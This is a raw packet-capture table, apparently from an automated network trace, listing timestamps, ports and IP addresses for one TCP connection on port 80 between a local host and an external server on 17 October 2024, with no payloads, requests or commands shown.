Oct 17, 2024 18:40:28.907809973 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:28.907810926 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:28.907828093 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:28.907838106 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:28.907856941 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:28.907865047 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:28.907900095 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:28.908077002 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:28.908133030 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:28.908164978 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:28.908180952 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:28.908217907 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:28.908237934 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:28.908337116 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:28.908353090 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:28.908366919 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:28.908385038 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:28.908391953 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:28.908407927 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:28.908478022 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:28.908627033 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:28.908644915 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:28.908674955 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:28.908721924 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:28.909028053 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:28.909066916 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:28.909085989 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:28.909102917 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:28.909148932 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:28.909148932 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:29.022870064 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.022898912 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.022911072 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.023058891 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:29.023066998 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.023080111 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.023117065 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:29.023143053 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:29.029217958 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.029232025 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.029244900 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.029264927 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.029277086 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.029289007 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.029301882 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.029323101 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:29.029366016 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:29.029673100 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.029747009 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.029747009 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:29.029761076 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.029799938 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:29.029833078 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:29.029836893 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.029891014 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:29.030064106 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.030148029 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.030149937 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:29.030162096 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.030204058 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:29.030297041 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.030309916 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.030358076 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:29.143613100 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.143641949 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.143655062 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.143734932 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.143747091 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.143800020 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:29.143835068 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:29.149615049 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.149652004 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.149687052 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.149746895 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:29.149796009 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.149808884 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:29.149808884 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.149821997 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.149852037 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:29.149887085 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:29.150028944 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.150048018 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.150060892 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.150073051 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.150090933 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:29.150115013 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:29.150602102 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.150614023 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.150649071 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.150657892 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:29.150662899 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.150728941 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:29.150775909 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.150827885 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:29.150950909 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.151241064 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:29.151570082 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.151633024 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:29.263894081 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.263921976 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.263935089 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.264306068 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.264318943 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.264333010 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.264503956 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:29.270431995 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.270457983 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.270472050 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.270561934 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.270572901 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.270586967 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.270802021 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.270816088 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.270829916 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.270914078 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:29.271047115 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.271058083 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.271075010 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.271087885 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.271100998 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.271512032 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.271565914 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:29.271611929 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:29.317337990 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.317363977 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.317869902 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:29.384237051 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.384253025 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.384267092 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.384345055 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:29.384397030 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.384443998 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:29.390898943 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.390944958 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.390957117 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.390986919 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:29.391022921 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:29.391031027 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.391042948 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.391057014 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.391082048 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:29.391108036 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:29.391362906 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.391415119 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:29.391417980 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.391444921 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.391458035 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:29.391490936 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:29.391525030 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.391535997 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.391571999 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:29.391730070 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.391784906 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:29.391805887 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.391819954 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.391854048 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:29.391880989 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:29.391889095 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.391932964 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:29.392152071 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.392206907 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:29.392220974 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.392231941 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.392271042 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:29.392379999 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.392391920 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.392436028 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:29.480777979 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.480801105 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.480845928 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.480856895 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.480875969 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:29.480875969 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:29.480928898 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:29.662259102 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.662281036 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.662296057 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.662307978 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.662322044 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.662339926 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.662354946 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.662796021 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.662808895 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.662821054 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.662826061 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.662929058 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.662942886 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.662955999 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.663187027 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.663201094 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.663218021 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.663233042 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.663250923 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.663294077 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.663310051 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.663324118 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.663340092 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.664027929 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.664050102 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.664062977 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.664076090 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.664091110 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.664102077 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.664113045 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.664127111 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.664187908 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.665150881 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:29.665150881 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:29.665299892 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:29.665419102 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:29.665719986 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.665733099 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.665746927 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.665760040 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.665774107 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.665774107 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:29.665786982 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.665796041 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:29.665800095 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.665821075 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:29.665848970 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:29.725282907 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.725307941 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.725327969 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.733205080 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:29.759103060 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.759126902 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.759154081 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.759171009 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.759176016 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:29.759186983 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.759213924 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:29.759222031 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.759238958 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.759254932 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.759258032 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:29.759270906 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.759282112 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:29.759285927 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.759301901 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.759318113 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.759326935 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:29.759335041 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.759354115 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.759362936 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:29.759392977 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:29.781718969 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.781759024 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.781804085 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:29.781826973 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:29.844305992 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.844337940 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.844353914 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.849385977 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:29.849994898 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:29.903610945 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.903664112 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.903681040 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.903716087 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.903732061 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:29.904496908 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:30.032435894 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.032459974 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.032478094 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.032577038 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.032594919 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.032610893 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.032629013 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.032857895 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.032876015 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.032905102 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.032912016 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.033144951 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.033163071 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.033179998 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.033193111 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.042407990 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:30.045156956 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:30.152949095 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.152982950 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.153000116 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.153016090 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.153033018 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.153049946 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.153217077 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:30.153219938 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.153239012 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.153254986 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.153270006 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.153287888 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.153295994 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:30.153356075 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:30.153534889 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.153551102 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.153606892 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.153623104 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.153637886 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.153654099 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.153667927 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.153691053 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.153934002 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:30.154143095 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.154158115 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.154176950 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.154200077 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:30.154232025 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:30.154320955 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.154375076 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:30.154407024 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.154423952 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.154474974 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:30.189460993 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.190026999 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.190247059 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:30.206617117 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.206808090 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:30.207287073 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.207612038 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:30.244294882 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.244374990 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.244394064 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.244429111 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.244445086 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.244457006 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:30.244457006 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:30.244474888 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.244492054 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:30.244534016 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:30.244554043 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.244652987 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.244668007 CEST	80	50053	185.215.113.103	192.168.2.7
Oct 17, 2024 18:40:30.244708061 CEST	50053	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:40:30.244708061 CEST	50053	80	192.168.2.7	185.215.113.103
